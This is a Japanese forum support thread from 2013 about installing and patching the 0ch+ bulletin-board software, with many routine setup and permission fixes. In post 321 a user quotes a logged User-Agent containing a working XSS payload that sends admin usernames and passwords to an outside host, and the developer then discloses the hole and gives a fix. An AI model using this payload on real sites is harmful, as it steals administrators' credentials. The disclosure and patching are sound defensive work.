適切なご回答ありがとうございました。

304 :名無しさん@ぜろちゃんねるプラス:2013/02/28(木) 12:26:26.46 ID:rSIaizxI0
真面目な質問じゃなくて与太話レベルで聞いて欲しいのですが、
とあるサーバー(wkey.me)でぜろちゃんねるプラスを動かしたら
専ブラV2Cでスレッドを開くと404で閲覧できない(何故か書き込みは可能)という謎の現象が発生しました。w
JaneDoeViewや通常ブラウザでは普通に見れるというのがさらに謎です。
なお、別のサーバー(atpages)では問題なく普通に使えました。

305 :0ch+開発担当 ◆0chp.sx.ik :2013/03/02(土) 22:53:43.16 ID:+pv+oQ1A0
>>304
それは確かに謎の挙動ですね。
時間があるときに検証してみます。

306 :名無しさん@ぜろちゃんねるプラス:2013/03/24(日) 03:18:18.16 ID:3vAQdL6E0
板作成時にアクセス解析のスクリプトタグが入るようにしたいんだけど
どこに追加すればいいですか?

307 :0ch+開発担当 ◆0chp.sx.ik :2013/03/24(日) 14:28:08.02 ID:f8OA+cqE0
>>306
板作成後でPC版indexページのみなら
管理画面の各掲示板->各種編集->フッタの編集 で貼り付けてください。
何か書き込むなりしてindexを更新すると反映されます。

このフッタのデフォルトを書き換えたい場合は
test/datas/default_fot.txtを直接編集してください。

またread.cgiや携帯版のすべてのページにも貼り付けたい場合は
かなり手間になりますがプログラムの以下の各部分を直接書き換えてください。
 read.cgiのPrintReadFoot、PrintReadSearch、PrintReadError、PrintDiscovery
 r.cgiのPrintReadFoot、PrintReadSearch、PrintReadError
 p.cgiのPrintFoot
 mordor/varda.plのCreateIIndex

308 :名無しさん@ぜろちゃんねるプラス:2013/03/30(土) 21:15:10.83 ID:t3ReIxrc0
告知欄の表示を消そうと、[システム設定]→[表示設定]→
告知欄表示(index.html以外の告知欄を表示するのチェックをOFF)
としましたが、index更新をしても告知欄が表示されてしまいます。

/test/info/system.cgiも「BANNER<>0」となっているんですが、
他にどこかおかしいところがあるのでしょうか?
サーバーはatpages.jpです。

309 :0ch+開発担当 ◆0chp.sx.ik :2013/03/31(日) 11:33:57.57 ID:s1zwz8bw0
>>308
indexの告知欄を非表示にする設定はありません。

module/varda.pl の367行目付近 PrintIndexMenu内
  # バナーの表示
  $this->{'BANNER'}->Print($Page, 95, 0, 0);

  $this->{'BANNER'}->Print($Page, 95, 0, 0) if ($Sys->Get('BANNER'));
このように書き換えれば>>308の設定でindexの告知欄も非表示にできます。

310 :名無しさん@ぜろちゃんねるプラス:2013/03/31(日) 15:29:22.27 ID:MJuLdHQ+0
>>309
ありがとうございます。
そのままではエラーになったので、直前に
my $Sys = $this->{'SYS'};
を付け加えました。

311 :名無しさん@ぜろちゃんねるプラス:2013/04/01(月) 11:17:05.63 ID:xW8Vx00s0
>>302
これと同様の問題かと思いますが、atpages.jpだと
atpages.jp/hogehoge/boo/ に掲示板が作成され
atpages.jp/hogehoge/test/bbs.cgiにアクセスできないかと思います。
設置する掲示板は1つだけ(追加予定なし)なのですが、
一部の専ブラ等でも動作するようにするには、どのファイルをどこに移動
若しくはファイルのどこを書き換えればいいのでしょうか?


312 :0ch+開発担当 ◆0chp.sx.ik :2013/04/01(月) 12:40:06.04 ID:cQiAh6ow0
>>310
すみません、それでOKです

>>311
専ブラが決め打ちでhttp://server/test/bbs.cgiにアクセスする仕様だと
掲示板を設置する側では対処のしようがありません。
結局その専ブラの作者に要望を出して改善してもらうしかないと思います。

313 :名無しさん@ぜろちゃんねるプラス:2013/04/23(火) 15:39:41.57 ID:l3/MsvoE0
0.7.1を使わせてもらっています。日付の2013/04/23(火)の所を
皇紀2673/04/23(火)とか平成25/04/23(火)のように表示することって
出来ますか?

314 :0ch+開発担当 ◆0chp.sx.ik :2013/04/23(火) 19:22:17.14 ID:lTqFgR820
>>313
galadriel.pl の sub GetDate 内 877行目付近の
  $str .= sprintf('%04d/%02d/%02d', $info[5], $info[4], $info[3]);

  $str .= sprintf('%s/%02d/%02d', YearString($info[5]), $info[4], $info[3]);
のように変更して、
同ファイル内に以下のような関数を加えるといいと思います
  sub YearString {
    my ($year) = @_;
    my $str;
    # ここで西暦から和暦等に変換して$strに代入
    return $str;
  }
具体的な変換はそちらで調べて実装してください

315 :名無しさん@ぜろちゃんねるプラス:2013/04/23(火) 21:10:14.17 ID:v/yqGszYI
スレの自動圧縮を実装したいのですが、どうしたら良いでしょうか?

316 :0ch+開発担当 ◆0chp.sx.ik :2013/04/23(火) 23:19:45.06 ID:lTqFgR820
>>315
どんなタイミングでどのファイルをどう処理したいのか、もう少し具体的に書いてください

dat落ちなどでプールに移動した時に自動で圧縮を行いたいのであれば
・vara.plの192行目付近
・bbs.thread.plの615行目付近
・bbs.thread.plの828行目付近
の3箇所のEARENDIL::Copyの処理を圧縮処理に変えて
・bbs.pool.plの396行目付近
のEARENDIL::Moveの処理を解凍処理に変えればdatファイルごとに圧縮されます

あるいは一定期間間隔か一定数でプールのスレをまとめて圧縮したいのであれば
vara.plの196行目付近の $Pools->Save($Sys); のあとで時間経過などを判定して、
$path/poolフォルダをまるごと圧縮してから、poolフォルダの中身を空にする処理を行うといいでしょう

317 :313:2013/04/24(水) 10:48:20.54 ID:OnZEf2cE0
>>314
ありがとうございます。やってみます。

318 :名無しさん@ぜろちゃんねるプラス:2013/04/24(水) 18:31:40.10 ID:c6uFst0AI
>>316
ありがとうございます

319 :名無しさん@ぜろちゃんねるプラス:2013/04/27(土) 18:26:38.24 ID:RhFL9bykI
iPhoneからは出来ますか?

320 :0ch+開発担当 ◆0chp.sx.ik :2013/04/28(日) 12:30:48.58 ID:ynDOhixw0
>>319
iPhoneから0ch+の掲示板を利用することはできます。
ただし今のところiPhone/スマホ専用のページは無いので
PC版と同じページで利用することになります。

2chブラウザアプリをインストールして外部板として登録すれば
アプリから利用することも可能です。
確認はできませんが、Apple Storeのガイドラインの関係で
2chブラウザアプリが削除されているかもしれません。

321 :名無しさん@ぜろちゃんねるプラス:2013/04/29(月) 22:10:14.08 ID:RGma0O2E0
>目についた脆弱性は修正しましたが、全て確認しているわけではないので未修正のものがあるかもしれません

>もし未修正の脆弱性やバグを見つけたら報告してくれるとありがたいです

さっきログ見てたらUAにこんなのが

Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)<span id=uho style=display:none></span><script>onload=function(){document.getElementById("uho").innerHTML="<img border=0 src=//serot.ktkr.net/cgibin/picture/up/env.php?"+document.getElementsByName("UserName").item(0).value+":"+document.getElementsByName("PassWord").item(0).value+":"+escape(location)+" width=0 height=0>";}</script>


322 :0ch+開発担当 ◆0chp.sx.ik :2013/04/29(月) 22:59:15.35 ID:SputaUes0
>>321
これは…
レス一覧を表示するとユーザー名とパスワードが抜かれてしまいます
パスワードを変更しておいてください


◆◆ぜろちゃんねるプラスで掲示板を管理している皆さまへ◆◆
管理画面でレス一覧のページを開くとパスワードが抜かれてしまう脆弱性が発見されました。
この脆弱性はバージョン0.5.x頃から0.7.1まで存在しています。

今すぐにユーザーのパスワードを変更して、
./test/mordor/thread.res.pl の sub PrintResList 内の
  $Page->Print("<hr>HOST:$logs[5]<br>IP:$logs[6]<br>UA:$logs[8]") if (defined $log);
の行を削除するか <br>UA:$logs[8] の部分を削除してください。

323 :名無しさん@ぜろちゃんねるプラス:2013/05/04(土) 23:57:47.52 ID:nent5BeE0
一部の専ブラ(iPhone:BB2C)からスレを閲覧しようとすると「スレッド内のレスポンスを取得できません」と出ます。
因みに、ゼロちゃんねるプラスさんのサンプルサイトのスレッドは問題なくロード出来ました。
他の専ブラでは通常通りロードができます。


324 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 06:28:39.45 ID:oV3rgJgI0
>>322
これって管理画面に入るのが自分だけの場合削除しなくても問題ないですか?
$Page->Print("<hr>HOST:$logs[5]<br>IP:$logs[6]<br>UA:$logs[8]") if (defined $log);
を削除したらRes ListからHOST、IP、UAが見れなくなってしまって、
<br>UA:$logs[8]だけを削除したらHOST、IPは見れるけどUAが見れなくなってしまいました。

325 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 12:16:52.19 ID:ktKReKVM0
>>323
自己解決しました

326 :0ch+開発担当 ◆0chp.sx.ik :2013/05/05(日) 12:30:50.61 ID:7+61J/kI0
>>323
iPhoneを持っていないのでこちらでは確認ができませんが、
考えられる理由として階層の問題があります。

掲示板の設置が以下のような階層だと、いくつかのアプリでは読み書きできません。
 ttp://server.jp/user1/test/bbs.cgi
 ttp://server.jp/user1/bbs1/
2chに近い以下のような階層ならほとんどのアプリで読み書きできると思います。
 ttp://user1.server.jp/test/bbs.cgi
 ttp://user1.server.jp/bbs1/
ただこれはアプリとサーバーの問題で、0ch+ではこれ以上対処することが出来ません。


>>324
今回の脆弱性はXSSで、具体的に言えば
・悪意のある人がUAにスクリプトを仕込んで書き込む
・管理者が管理画面からレス一覧を表示するとスクリプトが実行されてしまう
というもので、レス一覧のページを誰が表示してもアウトです。

UAをそのまま表示していたのが問題なので、その行の前に以下の行を追加すればOKです。
  $logs[8] =~ s/</&lt;/g;

327 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 13:57:58.18 ID:WPLSKRug0
admin.cgiでログインして、キャップ、ユーザー等のリンクをクリックしましたが、
何度も何度もクリックしてもabout:blankの状態です。

対処法を教えて下さい。

328 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 14:43:37.54 ID:WPLSKRug0
全部削除してまたうpしたらperllibしか無くなりました
どうなってますか?

329 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 16:19:18.16 ID:WPLSKRug0
http://www51.atpages.jp/~bourbon/dat/
この板ですが、スレを立てようとするとエラーが置きます。
対処法はどうすればいけるのでしょうか?
連投すみません。回答下さい

330 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 17:03:43.05 ID:WPLSKRug0
http://www51.atpages.jp/~bourbon/1/
こっちでしたごめんなさい

331 :0ch+開発担当 ◆0chp.sx.ik :2013/05/05(日) 17:35:34.79 ID:7+61J/kI0
>>327-330
情報量が少ないので原因の特定はできません。
もう少し設置手順などを詳しく教えて下さい。

・パーミッションの設定は適切ですか?
test/*.cgiだけ755、他のファイルは弄らずデフォルトの状態でいいです。

・管理画面からの設定
基本設定とパーミッション設定は弄らずデフォルト推奨です。

332 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 19:30:27.17 ID:WPLSKRug0
>>331
もう一度設定しなおしてみましたが、駄目でした。
デフォルトというのはFFFTPにUPした時のそのままの状態ですよね?

333 :0ch+開発担当 ◆0chp.sx.ik :2013/05/05(日) 19:57:26.26 ID:7+61J/kI0
>>332
ダメでしたか…
ちょっとこちらでも検証してきます。

334 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 19:58:13.25 ID:WPLSKRug0
>>333
ありがとうございます。

335 :0ch+開発担当 ◆0chp.sx.ik :2013/05/05(日) 20:31:41.72 ID:7+61J/kI0
原因が判明したかもしれません。
FFFTPの設定でファイル名がすべて小文字にされていませんか?
オプション->環境設定->転送2->ファイル名の変更 の部分です
このせいでperllibの中身が正常に読み込めずにエラーになったのだと思われます。

336 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 20:39:08.77 ID:WPLSKRug0
今perllibの中身を開いてみましたが、3つのフォルダの中を見ようとするとエラーがでました。
どうすればいいでしょうか?

337 :0ch+開発担当 ◆0chp.sx.ik :2013/05/05(日) 20:41:30.73 ID:7+61J/kI0
再接続かF5で更新してファイル一覧を読込しなおしてみてください

338 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 20:44:04.89 ID:WPLSKRug0
550 Digest: No such file or directory
というエラーが出ます。

339 :0ch+開発担当 ◆0chp.sx.ik :2013/05/05(日) 20:47:19.53 ID:7+61J/kI0
なるほど、FFFTPの設定が原因ではなかったですね
その3つのフォルダのパーミッションを755に再設定してください

340 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 20:48:12.30 ID:WPLSKRug0
ありがとうございます!
読取り専用になりました!設定で変えるだけでスレ立てられます!
ありがとうございました!

341 :名無しさん@ぜろちゃんねるプラス:2013/05/05(日) 23:12:03.01 ID:ktKReKVM0
特定の専ブラからAAを書き込もうとするとAAが途中で切れてしまいます。
何か対処法はありますか?

342 :名無しさん@ぜろちゃんねるプラス:2013/05/06(月) 01:08:31.82 ID:W/ZWa+Cc0
私も>>304と同じ状態です。
サーバーもwkey.meと同様です

343 :324:2013/05/06(月) 06:51:55.26 ID:0Gkeh/PU0
>>326
ありがとうございました。

344 :名無しさん@ぜろちゃんねるプラス:2013/05/06(月) 09:42:53.58 ID:wtmNGNHk0
               /|:::::::::::::::::::::ヽ.:.:.:.:、:.:.:.:、:.:.:.、.:.、.:.:.:.:.:.::`゛>
           /{::|:\:::::::\.:.:.:\.:.:.ヽ::.::.ヽ:.:.ヽ::::::::::.:.`゛ー- ..,__
: 何 :    /:|::',: ト、::::::ヽ、:.\:.:.:.\:.:.ヽ:.:.:\.:.:.:.:.:::.:.:.:.:::.::::_

345 :0ch+開発担当 ◆0chp.sx.ik :2013/05/06(月) 12:38:30.65 ID:NbW7qBDc0
>>341,>>344
使用したブラウザや書き込もうとしたAAのオリジナルなど、
もう少し具体的なことを教えて下さい。

>>304,>>342
検証して来ました。
結論から言えば .htaccess に以下の行を追加してください。
  AddType text/plain .dat

以下、wkey.meで0ch+を設置した手順です。
1. ~/.htaccess に以下の3行を記述
  Options +ExecCGI
  AddType application/x-httpd-cgi .cgi
  AddType text/plain .dat
2. zerochplus_0.7.1.zipの test フォルダをまるごと ~/web/ に転送
3. パーミッションを以下のとおり設定
  ~/web : 0770
  ~/web/test : 0771
  ~/web/test/*.cgi : 0755
4. admin.cgi にログインし、デフォルト設定で掲示板を設置

346 :0ch+開発担当 ◆0chp.sx.ik :2013/05/06(月) 13:18:22.20 ID:NbW7qBDc0
ちょっと訂正です
x: 1. ~/.htaccess に以下の3行を記述
o: 1. ~/web/.htaccess に以下の3行を記述

x: 3. パーミッションを以下のとおり設定
o: 3. パーミッションを以下のとおり設定(SuEXECでない場合)
x:   ~/web : 0770
o:   ~/web : 0710


3. パーミッションを以下のとおり設定(SuEXECの場合)
  ~/web : 0710
  ~/web/* : 0640 (ファイル)
  ~/web/test : 0710
  ~/web/test/*.cgi : 0700
  ~/web/test/datas : 0710
  ~/web/test/datas/* : 0640 (ファイル)
  ~/web/test/* : 0700 (ディレクトリ)
  ~/web/test/* : 0600 (ファイル)
管理画面でのパーミッション設定(上から順に)
640 640 600 600 440 700 710 700

347 :名無しさん@ぜろちゃんねるプラス:2013/05/06(月) 14:17:01.53 ID:W/ZWa+Cc0
ありがとうございます

やってみます

348 :名無しさん@ぜろちゃんねるプラス:2013/05/06(月) 14:28:27.03 ID:wtmNGNHk0
>>345
iPhoneブラウザアプリ「Twinkle」

元AAはこれです
http://netyougo.com/aa/4805.html

349 :名無しさん@ぜろちゃんねるプラス:2013/05/06(月) 14:55:52.53 ID:W/ZWa+Cc0
出来ました

ありがとうございます(^ω^)

350 :0ch+開発担当 ◆0chp.sx.ik :2013/05/06(月) 15:09:34.61 ID:NbW7qBDc0
>>348
iPhoneを持っていないので確認はできませんが、途切れた部分を比較して原因を推定すると
Twinkleの内部処理で本文のURLエンコーディングが不完全なのではないかと思われます。

具体的には、書き込みデータ中の「;」が「%3B」に変換されておらず、
0ch+側で区切り文字「;」と解釈されてデータがそこで区切られたのだと思われます。
0ch+側で「;」を区切り文字として解釈しなければ書き込めますが、
これはRFC 3986で定められている仕様なので根本的解決にはなりません。

Twinkleの作者さんにURLエンコードをしっかりしてもらうように
要望を出すのがベストな解決法だと思います。

ここまで書きましたが一応推定です。
↓こちらのスレで「;」を含む書き込みを何度かテストしてみてください。
http://yakin.38-ch.net/test/read.cgi/stable/1294667112/l50

351 :名無しさん@ぜろちゃんねるプラス:2013/05/06(月) 15:17:37.52 ID:PeLTotnA0
>>350
丁寧な説明ありがとうございました


352 :名無しさん@ぜろちゃんねるプラス:2013/05/06(月) 15:25:02.75 ID:W/ZWa+Cc0
今度は管理画面でこんな表示が毎回出るようになってしまったのですが対処法がわかりません。。。
お願いします

サイト "………….wkeya.com" にユーザ名 "……………" でログインしようとしていますが、Web サイトは認証を必要としていません。このサイトはあなたをだまそうとしている可能性があります。

サイト "………….wkeya.com" に接続しますか?

353 :名無しさん@ぜろちゃんねるプラス:2013/05/06(月) 15:46:19.64 ID:0v7EnDJ60
Sambaについて質問です。

1)vara.plのスレッド作成モードはチェックを行っていないように見えますが意味はあるのでしょうか
2)同一ホストで複数行のログが残りますが正しいのでしょうか
3)vara、peregrin以外でSambaの処理を行っている部分はありますでしょうか

354 :0ch+開発担当 ◆0chp.sx.ik :2013/05/06(月) 16:10:55.79 ID:NbW7qBDc0
>>351
一時しのぎの対処法ですが、「;」をすべて「;」に書き換えるといいと思います。
ただし後ろが数字でない場合のみです。「;123」は「」に書き換えられません。

>>352
Firefoxの警告文のようですが、こちらでは再現出来ませんでした。
URLにユーザー名が含まれるとこうなることがあるみたいです。
おそらく接続しても問題ありません。

>>353
1) スレッド作成はそれ用の規制が2種類あるので、Sambaでスレ立ての規制はしていません。

2) Samba時間内であろうとなかろうと、書き込もうとするとタイマーがリセットされるようになっています。
  また、ログは書き換えをせず追記するようにしています。
  この2つのことからログが複数行残ることになります。

3) その2ファイルのみです。

355 :0ch+開発担当 ◆0chp.sx.ik :2013/05/06(月) 16:13:56.81 ID:NbW7qBDc0
>>351
>>354訂正です
「;」 → 「&#59」
「;123」 → 「&#59123」 ※書き換え不可

356 :名無しさん@ぜろちゃんねるプラス:2013/05/06(月) 16:20:04.73 ID:0v7EnDJ60
>>354
了解です。ありがとうございました!

357 :0ch+開発担当 ◆0chp.sx.ik :2013/05/06(月) 16:36:08.38 ID:NbW7qBDc0
>>352
いろいろ試してみたところ再現出来ました。

http://user:pass@xxxx.wkeya.com/test/admin.cgi
のようなアドレスにアクセスしていませんか?
表面上は「xxxx.wkeya.com/test/admin.cgi」のように見えていると思います。

http://xxxx.wkeya.com/test/admin.cgi」にアクセスしなおしてみてください。
ブックマークに登録してあればそれも直してみてください。

358 :名無しさん@ぜろちゃんねるプラス:2013/05/08(水) 01:31:10.67 ID:MsxjlEW60
http://zerochplus.sourceforge.jp/
からダウンロードしようとしてもファイルが見つからないんですが
修正版のリリースはまだ先ですか

359 :0ch+開発担当 ◆0chp.sx.ik :2013/05/08(水) 21:58:16.63 ID:AB+ITYSs0
>>358
管理画面の通知機能で緊急通知を行った関係で不具合が生じています。

今週末までにはリリースできるように何とか頑張ろうと思います。

360 :名無しさん@ぜろちゃんねるプラス:2013/05/09(木) 00:16:28.01 ID:SopSL3lY0
http://yakin.38-ch.net/test/read.cgi/zerochplus/1323693544/14
>バージョン0.8.xからは適切なモジュール名を付け直そうと思っています。

との事ですがファイル名、パッケージ名の変更なのでしょうか?
プラグインやモジュール類を改造して使用させて頂いているので気になります。

361 :0ch+開発担当 ◆0chp.sx.ik :2013/05/09(木) 00:31:38.28 ID:WEdoPseA0
>>360
ファイル名・パッケージ名の両方を変更します。

ただし0.8.xでは旧名でも動作するシステムを導入するつもりなので
バージョンアップで動作しなくなることはほとんどないと思います。
0.8.xはいわゆる移行期間になります。

その時にはSTDERRに以下のようなメッセージを出力するようにします。
  Use 'tools.pl' instead of 'galadriel.pl'. at bbs.cgi line 113
  Use 'TOOLS::new' instead of 'GALADRIEL::new'. at bbs.cgi line 117

362 :名無しさん@ぜろちゃんねるプラス:2013/05/09(木) 00:45:31.52 ID:SopSL3lY0
>>361
詳細ありがとうございます。
移行期間があるのは非常に助かります。0.8.xが楽しみになりました。

363 :名無しさん@ぜろちゃんねるプラス:2013/05/09(木) 19:25:03.22 ID:iEugSuuci
>>360

おお!
コレはうれしい。

あとうろ覚えだけど、前にコード追ってた時、システム関連オブジェクトが二種類あって、
$SYSとか$oSYSとか$oSysとかモジュールによって違う変数が設定されてて、
名前も似てるしまぎらわしいなーと思った気がする。

364 :名無しさん@ぜろちゃんねるプラス:2013/05/09(木) 21:01:53.87 ID:DOgDu0JA0
BB2Cから大き目のAAを貼ろうとすると落ちるんですが……

365 :0ch+開発担当 ◆0chp.sx.ik :2013/05/09(木) 23:22:55.00 ID:WEdoPseA0
>>363
>$SYSとか$oSYSとか$oSysとか
これもチマチマと統一しているところです。

>>364
"落ちる"というのはbbs.cgiが落ちる(反応しない/500エラー)ということですか?
もしそうなら、貼ろうとしたAAなど具体的に教えて下さい。

アプリBB2Cが落ちるということであれば0ch+ではどうしようもないと思います。

366 :名無しさん@ぜろちゃんねるプラス:2013/05/10(金) 12:17:38.60 ID:1UUAc4pI0
エラーログに記述されているエラーコードの一覧はどこかにあるのでしょうか?

367 :0ch+開発担当 ◆0chp.sx.ik :2013/05/10(金) 20:23:40.87 ID:Sfk6l0og0
>>366
./test/info/errmsg.cgi が番号とメッセージの対応表です。
ソースコード中の定数は ./test/module/constant.pl にあります。

管理画面のエラーログのページでは、次のリリース0.7.2から
エラーコードにメッセージが併記されるようになります。

368 :名無しさん@ぜろちゃんねるプラス:2013/05/10(金) 20:39:02.92 ID:1UUAc4pI0
>>367
ありがとうございます。

369 :名無しさん@ぜろちゃんねるプラス:2013/05/10(金) 21:08:31.12 ID:OBfAGNhE0
>>365
わかりませんが、どの専ブラウザアプリでも貼れなかったり落ちたりします

AAはこのURLの上のAAです

http://tanjoin.hatenablog.com/entry/20110829/1314604156

370 :名無しさん@ぜろちゃんねるプラス:2013/05/10(金) 21:19:58.33 ID:OBfAGNhE0
>>369
PCの専ブラから書き込んだところ以下のようなエラーを確認しました

HTTP/1.1 403 Forbidden

371 :0ch+開発担当 ◆0chp.sx.ik :2013/05/10(金) 21:26:40.33 ID:Sfk6l0og0
>>369-370
1つの可能性ですが、特定の掲示板にのみ貼れないのであれば
その掲示板の管理者によって「キムチ」がNGワードとして扱われているのかもしれません。

372 :名無しさん@ぜろちゃんねるプラス:2013/05/10(金) 21:28:30.96 ID:OBfAGNhE0
>>371
掲示板の管理人は私です
NGワードは特に設定していません

373 :0ch+開発担当 ◆0chp.sx.ik :2013/05/10(金) 21:37:23.32 ID:Sfk6l0og0
>>372
そうでしたか…

403エラーということはスクリプトではなくおそらくサーバー側の問題です。
使用しているサーバーは何ですか?
なにか不都合なサーバーの設定があるのではないでしょうか。

374 :名無しさん@ぜろちゃんねるプラス:2013/05/10(金) 21:38:15.64 ID:OBfAGNhE0
>>373
鯖はロリポップのコロリポプランです

375 :名無しさん@ぜろちゃんねるプラス:2013/05/10(金) 21:39:14.80 ID:OBfAGNhE0
'--

376 :名無しさん@ぜろちゃんねるプラス:2013/05/10(金) 21:39:31.94 ID:OBfAGNhE0
http://i.imgur.com/6nwrSrZ.jpg

掲示板の方から貴重な情報頂きました。

377 :0ch+開発担当 ◆0chp.sx.ik :2013/05/10(金) 22:04:44.08 ID:Sfk6l0og0
>>374,376
http://lolipop.jp/support/faq/cgi/
>Q. PHPやCGIでプログラムの編集をすると403エラーが表示されます。
>A. 可能性として、【 WAF設定 】が「有効」な状態であるため、
>エラーが発生している可能性がございます。
>【WAF設定】を「無効」にした状態で、編集をお試しください。

この機能が働いたからではないでしょうか。
確認してみてください。

378 :名無しさん@ぜろちゃんねるプラス:2013/05/10(金) 22:13:31.59 ID:OBfAGNhE0
>>377
無効にしてみましたが変わりませんでした

379 :名無しさん@ぜろちゃんねるプラス:2013/05/10(金) 22:20:42.31 ID:OBfAGNhE0
>>378
できました!
本当にありがとうございました!

380 :名無しさん@ぜろちゃんねるプラス:2013/05/12(日) 14:09:22.01 ID:XMeoT/0g0
http://uravip.tonkotsu.jp/operateandsaku/
ここの板の!rankみたいなのはどうやって出来るのですか?

381 :0ch+開発担当 ◆0chp.sx.ik :2013/05/12(日) 15:09:31.27 ID:hEHSlpZw0
>>380
2chの忍法帖と同じで、クッキーをやり取りして実装します。
簡単なものならプラグインだけで作ることができます。

ただしこちらではそのようなプラグインを提供していないので、
プラグインは自分で作ることになります。

382 :名無しさん@ぜろちゃんねるプラス:2013/05/14(火) 18:27:19.90 ID:jiodiXQg0
Samba奉仕時間ってなんですか?

規制ユーザは一行に一ホストずつ書いて行けばいいんですよね?
正規表現は使えますか?

383 :0ch+開発担当 ◆0chp.sx.ik :2013/05/14(火) 19:22:19.80 ID:J4Jm5GT+0
>>382
Samba奉仕時間とはSamba規制に連続で引っかかった者に
しばらく書き込みを規制する時間のことです。
2chでも以下のような文が表示され、0ch+では○○の部分を「奉仕活動」と呼んでいます。
> もうずっと書けませんよ。 あなたは、規制リストに追加されました。
> 【解除する方法】
> ○時間以上○○○○してください。 これ以外に解除の方法はありません。

規制ユーザでは以下の5つが指定出来ます。
・ホスト名(正規表現)
  host\d+\.jp$
・IPアドレス
  192.168.0.123
・IPアドレス範囲指定
  192.168.1.0-192.168.10.255
・CIDR
  192.168.0.0/16
・端末固有番号
  12345678901234_xx (au)
  AbCd123 (docomo)
  など

384 :名無しさん@ぜろちゃんねるプラス:2013/05/14(火) 19:44:40.27 ID:c/j8UHBk0
atpages鯖にてver0.7.2を使用した所、
パーミッションはすべて正しいはずなのに、admin.cgiを開くと500エラーが出て表示できませんでした。
testフォルダ直下の.htaccessを削除した所見えるようになりましたので、これが原因だと思うのですが、これは削除しても大丈夫なものでしょうか? あるいは、機能するようにするにはどう中身を書き換えればいいでしょうか?
また、他のディレクトリにある.htaccessは削除(書き換え)しても/しなくても大丈夫でしょうか?

五里霧中なもので、要領を得ていなければ申し訳ありません。

385 :0ch+開発担当 ◆0chp.sx.ik :2013/05/14(火) 20:15:39.35 ID:J4Jm5GT+0
>>384
index.htmlがない時にファイル一覧が表示されないように.htaccessを作っています。
@PAGESはsuEXECで動作しているので.htaccessは削除しても構いません。
むしろ@PAGESでは制限が厳しいようで、削除しないと動作しないみたいです。

こちらの調査不足で混乱させてしまったようで、すみませんでした。

386 :名無しさん@ぜろちゃんねるプラス:2013/05/14(火) 20:35:37.64 ID:c/j8UHBk0
早いお答えと有効な情報をありがとうございました。
把握しました。


387 :名無しさん@ぜろちゃんねるプラス:2013/05/18(土) 14:15:21.07 ID:Vn6Vnvvs0
poolスレッド画面で更新、全更新、復帰、過去ログ化、削除をしようとしても

ERROR:1000 - 本機能の処理を実行する権限がありません。

と表示され、処理ができません。
サーバのエラーログは何も残っていませんでしたが、
原因は分かりますでしょうか?

388 :0ch+開発担当 ◆0chp.sx.ik :2013/05/18(土) 19:24:23.64 ID:cCupFikw0
>>387
これは不思議な現象ですね…
使用しているサーバーや0ch+のバージョンなどを教えて下さい。

389 :名無しさん@ぜろちゃんねるプラス:2013/05/18(土) 22:15:21.14 ID:Vn6Vnvvs0
サーバーはコレです
ttp://www.leosv.jp/
0ch+のバージョンは0.72です
サーバー依存の問題かも知れません
ユーザーはシステム管理権限になっています

あと関係ないですが2ちゃんねるのdatを0ch+に読み込ませて
レス管理で透明あぼーんしようとすると500エラーになります
dat落ちや過去ログ化などの処理はできます(このサーバーでなければ)

390 :名無しさん@ぜろちゃんねるプラス:2013/05/18(土) 23:36:17.86 ID:RW06w9Ws0
プラグインが少しでもエラーを含んでると書き込みが全くできなくなり、
プラグインファイルを削除しても直らずtestディレクトリを入れ直さなければいけないのですがなんとかなりませんか?

391 :0ch+開発担当 ◆0chp.sx.ik :2013/05/19(日) 00:15:07.93 ID:YbYoz7G+0
>>389
いろいろ考えてみましたがさっぱりわかりません…
パーミッションはこのページのsuEXEC Type-Aの通り設定されていますか?
http://sourceforge.jp/projects/zerochplus/wiki/Permission#h3-Type-A

お試しアカウントを作って検証してきたのですがいくつか不可解なことが起こりますね。
・FTPでファイルを転送しているといくつかのファイルが転送に失敗した
・書き込み時にホスト名用のクッキーが発行されない
POOL操作と透明あぼーんは問題無く出来ました。

一度スクリプトファイルを転送しなおしてみてください。
また、去年からこのサーバーを使用しているのであれば
サーバー管理画面から「所有者変更」を行なってみてください。

392 :0ch+開発担当 ◆0chp.sx.ik :2013/05/19(日) 00:24:58.56 ID:YbYoz7G+0
>>390
確かに、管理画面でもエラーになってしまいますね。
例外処理を加えておきます。

今必要であれば module/athelas.pl の81行目(my $idの前)に
  eval { require "./plugin/$elem[1]"; };
  next if ($@);
を追加してください。

393 :名無しさん@ぜろちゃんねるプラス:2013/05/19(日) 08:03:28.09 ID:q1hiUbF20
>>391
ありがとうございます
再アップロードすると直りました
どうやら何かのファイルが破損してた様です

394 :名無しさん@ぜろちゃんねるプラス:2013/05/19(日) 10:01:17.97 ID:vlNa7tCw0
wkey.meで設置した時の手順を教えて下さい。
初心者ですみません。。。

395 :0ch+開発担当 ◆0chp.sx.ik :2013/05/19(日) 10:52:46.93 ID:YbYoz7G+0
>>394
1. サーバー管理画面からウェブサイトのオプションで
  CGIとSuEXECにチェックを入れておく
2. zerochplus_0.7.2.zipを解凍して中のtestフォルダを
  FTPなどから~/webディレクトリの中に転送する
3. ~/webの中に以下の3行を記述した .htaccess ファイルを置く
    Options +ExecCGI
    AddType application/x-httpd-cgi .cgi
    AddType text/plain .dat
4. FTPなどからファイルとディレクトリのパーミッションを
  以下のページのsuEXEC Type-Bの通りに設定する
  http://sourceforge.jp/projects/zerochplus/wiki/Permission#h3-Type-B
5. xxxx.wkeya.com/test/admin.cgi にアクセスして初期アカウントでログイン
6. 「ユーザ」からAdministratorのパスワードを変更しておく
7. 「掲示板」から掲示板を作成する
8. 「掲示板」->各掲示板->「掲示板設定」->「0chオリジナル設定」で
  必要に応じて「掲示板読取専用」の項目を「書き込み可」に設定する

以上で設置と最低限の設定が完了です。

396 :名無しさん@ぜろちゃんねるプラス:2013/05/19(日) 20:08:10.64 ID:vlNa7tCw0
パーミッションの所をもう少し詳しくお願い致します。

397 :0ch+開発担当 ◆0chp.sx.ik :2013/05/19(日) 20:37:43.31 ID:YbYoz7G+0
